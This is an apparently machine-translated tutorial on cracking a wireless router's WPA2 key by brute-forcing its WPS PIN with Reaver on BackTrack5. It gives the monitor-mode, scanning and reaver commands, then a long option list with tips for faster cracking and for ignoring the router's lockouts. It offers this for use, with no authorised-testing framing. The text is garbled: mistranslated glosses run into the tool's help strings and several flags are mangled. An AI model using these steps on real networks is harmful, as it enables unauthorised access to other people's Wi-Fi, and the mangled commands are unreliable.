BackTrack5 uses the route PIN to crack the WPA2 key of the wireless route

Airmon-ng start wlan0 // set the wireless network card to monitoring mode airodump-ng-I mon0 // obtain the surrounding wireless route information wash-I mon0-C // view support for PIN code cracking wireless route reaver-I mon0-B route MAC address-S-a-p route PIN code-vv // start PIN cracking Reaver v1.4 parameter description-I, -- interface = <wlan> Name of the monitor-mode interface to use the monitoring interface of the NIC, usually mon0-B, -- bssid = <mac> BSSID of the MAC address Optional Arguments:-m, -- mac = <mac> MAC of the host system specifies the MAC address of the target AP, use-e, -- essid = <ssid> ESSID of the target AP router when an AP has a MAC filter. Generally, do not specify-c, -- channel = <channel> Set the 802.11 channel for the interface (implies-f) signal channel, if not specified, it will automatically scan-o, -- out-file = <file> Send output to a log file [stdout] standard output to file-s, -- session = <file> Restore a previous session file Restore process file-C, -- exec = <command> Execute the supplied command upon successful pin recovery pin after successful execution of the command-D, -- daemonize Daemonize reaver: Set reaver to Daemon-a, -- auto Auto detect the best advanced options for the target AP to automatically detect the target AP. advanced parameter-f, -- fixed Disable channel hopping disables channel jump-5, -- 5 ghz Use 5 GHz 802.11 channels Use 5g channel-v, -- verbose Display non-critical warnings (-vv for more) show unimportant warning information-vv can Show more-q, -- quiet Only display critical messages Only Show key information-h, -- help Show help Advanced Options:-p, -- pin = <wps pin> Use the specified 4 or 8 digit WPS pin to directly read psk-d, -- delay = <seconds> Set the delay between pin attempts [1] latency between pin. the default value is 1 second. We recommend that you Set the value 0-l, -- lock-delay = <seconds> Set the time to wait if the AP locks WPS pin attempts [60] wait for the time-g after the AP locks WPS, -- max-attempts = <num> Quit after num pin attempts maximum pin count-x, -- fail-wait = <seconds> Set the time to sleep after 10 unexpected failures [0] wait time after 10 unexpected failures. the default value is 0-r, -- recurring-delay = <x: y> Sleep for y seconds every x pin attempts waits for y seconds-t every x times after pin, -- timeout = <seconds> Set the receive timeout period [5] packet receiving timeout. the default value is 5 seconds-T, -- m57-timeout = <seconds> Set the M5/M7 timeout period [0.20] M5/M7 timeout, default 0.2 s-, -- no-associate Do not associate with the AP (association must be done by another application) not connected to the AP (other programs must be completed during the connection)-N, -- no-nacks Do not send NACK messages when out of order packets are supported Ed Do not send NACK information (if the pin remains unchanged, you can try this parameter)-S, -- dh-small Use small DH keys to improve crack speed Use small DH key values to increase the speed (recommended)-L, -- ignore-locks Ignore locked state reported by the target AP ignores the lock status reported by the target AP-E, -- eap-terminate Terminate each WPS session with an eap fail packet terminate the WPS process-n whenever an EAP failure packet is received, -- nack Target AP always sends a NACK [Auto] always sends NACK to the Target AP. The default value is automatic-w, -- win7 Mimic a Windows 7 registrar [False] to simulate win7 registration, which is disabled by default.